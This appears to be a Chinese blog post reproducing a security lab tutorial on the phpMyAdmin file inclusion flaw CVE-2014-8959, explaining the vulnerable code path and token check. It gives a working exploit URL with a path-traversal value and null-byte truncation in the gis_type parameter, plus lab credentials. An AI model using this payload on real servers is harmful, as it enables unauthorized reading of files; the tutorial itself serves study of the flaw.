Web安全-PHPMyAdmin文件包含漏洞利用(CVE-2014-8959)

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

PHPMyAdmin文件包含漏洞利用(CVE-2014-8959)

实验目的

  通过本实验理解phpmyadmin文件包含漏洞利用的思想,掌握文件包含漏洞存在的原因,熟悉如何利用和防范文件上传漏洞。

实验环境

渗透主机:Kali

用户名: college
密码: 360College
工具:Burpsuite

目标网站:WebBug
相关实验:中级靶场的“任意文件包含漏洞”

用户名: college
密码: 360College
工具:phpstudy

注意:实验需要在phpstudy中在将php版本调到5.2.x(小于5.3.4)

实验原理

  此漏洞变化为CVE-2014-8959

  漏洞影响:phpMyAdmin版本有如下:

  4.0.1 - 4.0.10.6   4.1.1 - 4.1.14.7   4.2.1 - 4.2.12

  参考文章链接https://www.leavesongs.com/penetration/phpmyadmin-local-file-include-vul.html

  知识点:文件包含漏洞点分析:文件包含的点就出在$type_lower

  1.在libraries/gis/pma_gis_factory.php 29行,将传入的参数$type转换小写以后赋值给$type_lower,直接拼接成路径进行include_once

  代码如下:

  在根目录下的gis_data_editor.php中,第28行 $_REQUEST['gis_data'] 获取到gis_data,第44行如果 $gis_data['gis_type'] 存在,则直接来到60行,赋值给 geom_type,并传入了PMA_GIS_Factory::factory函数。

  总结一下:因为将 $gis_data['gis_type'] 拼接进了路径并进行了include_once中,造成了任意文件包含漏洞。

  知识点2:为什么URL中带token提交请求

  与phpmyadmin的防御CSRF机制相关,来到libraries/common.inc.php 463行。它检查了$_SESSION[' PMA_token ']是否等于$_REQUEST['token'],如果不等于,最后会进入PMA_remove_request_vars函数,PMA_remove_request_vars函数将所有GPCR都清空,那么后面的操作肯定不能正常运转了。

实验步骤

  漏洞利用需要满足两个条件:   (1)已经登录到phpmyadmin。   (2)需要截断。

第一步 目标网站上启动phpstudy服务

第二步渗透主机远程访问phpmyadmin

http://192.168.198.132/pentest/cve/phpmyadmin/

第三步 以root/root登录后,自动跳转到下述页面,此时对应URL地址为

http://192.168.198.132/pentest/cve/phpmyadmin/index.php?token=867288b17a45f9073dff44223672e67b#PMAURL-0:index.php?db=&table=&server=1&target=&token=867288b17a45f9073dff44223672e67b

第四步 构造URL,成功执行文件包含(注意token值要与上面的相统一)

http://192.168.198.132/pentest/cve/phpmyadmin/gis_data_editor.php?token=867288b17a45f9073dff44223672e67b&gis_data[gis_type]=/../../../../phpcve/password%00

  如果查看目标web服务器,其中对应的源码文件如图所示

思考与总结

  通过本次实验,成功实现了利用phpmyadmin文件包含漏洞远程访问了网站目录下的某文件,掌握文件包含漏洞的攻击方法以及防御措施。

posted @ 2020-11-17 19:55  码小农的幸福生活  阅读(1388)  评论(0编辑  收藏  举报